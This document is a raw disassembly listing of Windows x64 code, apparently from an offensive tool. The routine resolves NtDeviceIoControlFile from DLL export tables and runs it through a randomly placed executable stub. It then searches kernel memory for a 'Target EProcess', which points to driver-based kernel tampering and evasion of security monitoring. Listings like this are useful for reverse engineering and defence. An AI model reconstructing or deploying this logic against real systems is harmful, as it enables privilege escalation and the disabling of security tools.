nop dword [rax + rax]
mov ecx, dword [r12 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140076244
inc rbx
cmp rbx, r13
jb 0x140076220
jmp 0x140076409
mov rax, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x80]
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, rdi
je 0x140076409
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140076409
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x6ba44], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x6a6c0]
call fcn.1400be1b0
lea rcx, [rbp + 0x6a6c0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x6a6c0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdbfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400762e0
mov r8d, 0x1000
lea rdx, [rbp + 0xdbfe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc94]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc94], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc48]
lea rax, [rbp + 0xf8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xf8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xfa0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc94]
lea r9, [rbp + 0xc94]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cb2
mov r12d, 0x5a4d
mov rbx, qword [rbp + 0x110]
test rbx, rbx
je 0x140076cb2
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp - 0x80], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140076690
cmp word [rax], r12w
jne 0x140076690
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140076690
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140076690
mov r13d, dword [rax + 0x1c]
xor edi, edi
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rsp + 0x70], rcx
test r12, r12
je 0x140076690
nop dword [rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400764d4
inc rdi
cmp rdi, r12
jb 0x1400764b0
jmp 0x140076690
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + rdi*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x140076690
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x140076690
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x6e164], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x6cde0]
call fcn.1400be1b0
lea rcx, [rbp + 0x6cde0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor r13d, r13d
mov edi, r13d
nop
lea rcx, [rbp + 0x6cde0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xdafe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140076570
mov r8d, 0x1000
lea rdx, [rbp + 0xdafe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rdi, [rsi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc98]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xc98], r13d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp + 0xf8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0xf8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xfa0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xc98]
lea r9, [rbp + 0xc98]
mov edx, 0x1000
mov rcx, r14
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r13d
test edi, edi
js 0x140076cb2
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
test bl, 1
je 0x140076ca6
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and edi, 0xfff
and rbx, rax
add rdi, rbx
test rdi, rdi
je 0x140076cb2
mov rax, rdi
mov qword [rbp + 0x1f8], 0
and eax, 0xfff
mov qword [rbp + 0x200], 0
xorps xmm0, xmm0
mov qword [rbp + 0x208], 0
mov r12d, 0x1000
mov qword [rbp + 0x1f0], rdi
sub r12, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r12, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r12, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0xfb0], xmm0
mov qword [rbp + 0x1e8], r12
lea r8d, [rdx + 1]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14007699c
cmp word [rax], bx
jne 0x14007699c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14007699c
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14007699c
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rdi
mov esi, dword [rax + 0x20]
add rcx, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
mov qword [rsp + 0x60], rcx
test r14, r14
je 0x140076997
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400767d3
inc rbx
cmp rbx, r14
jb 0x1400767b0
jmp 0x140076997
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rdi
je 0x140076997
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140076997
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x6f4f4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x6e170]
call fcn.1400be1b0
lea rcx, [rbp + 0x6e170]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x6e170]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd9fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140076870
mov r8d, 0x1000
lea rdx, [rbp + 0xd9fe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc9c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc9c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x1e8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x1e8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc9c]
lea r9, [rbp + 0xc9c]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076c69
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x200]
test rdx, rdx
je 0x140076c69
lea rcx, [rbp + 0xc30]
mov r8, r12
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x70], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140076c33
cmp word [rax], bx
jne 0x140076c33
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140076c33
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140076c33
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rdi
mov esi, dword [rax + 0x20]
add rcx, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
mov qword [rsp + 0x60], rcx
test r14, r14
je 0x140076c33
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140076a73
inc rbx
cmp rbx, r14
jb 0x140076a50
jmp 0x140076c33
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rdi
je 0x140076c33
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140076c33
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x24ba4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x23820]
call fcn.1400be1b0
lea rcx, [rbp + 0x23820]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x23820]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xd8fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140076b10
mov r8d, 0x1000
lea rdx, [rbp + 0xd8fe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xca0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xca0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x1e8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x1e8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xca0]
lea r9, [rbp + 0xca0]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076c69
mov rbx, qword [rbp + 0xc40]
mov rcx, qword [rsp + 0x78]
sub rbx, r12
mov rax, qword [rsp + 0x50]
add rcx, r12
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rcx
test rbx, rbx
jne 0x140075040
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + 0xc30]
mov qword [rbp + 0xe38], rax
test rax, rax
je 0x140076cbb
lea r9, [rbp + 0xe38]
lea r8, [0x1401ff564]
lea rdx, [rbp + 0xe30]
lea rcx, str.EProcess__
call fcn.1400c20f0
mov rax, qword [rbp + 0xe38]
jmp 0x140076cbb
mov qword [rsp + 0x50], rax
jmp 0x140076cb2
mov qword [rsp + 0x50], r14
xor eax, eax
mov qword [rbp + 0xe38], rax
cmp rax, qword [rbp - 0x30]
je 0x140076ce3
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140076d19
cmp rcx, r15
je 0x140076d19
mov eax, dword [rbp + 0xe30]
cmp eax, 0x1f40
jb 0x140073490
jmp 0x140076d19
mov rbx, qword [rsp + 0x68]
lea rdx, [rbp - 0x28]
lea rcx, str.Located_Target_EProcess:
mov qword [rbp - 0x28], rbx
call fcn.1400c2300
mov rax, rbx
jmp 0x140076d1b
lea rdx, [rbp - 0x78]
mov qword [rbp - 0x78], 0
lea rcx, str.LastLink:
call fcn.1400c1f00
xor eax, eax
mov rcx, qword [rbp + 0xedfe0]
xor rcx, rsp
call fcn.140190770
mov rbx, qword [rsp + 0xee140]
add rsp, 0xee0f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret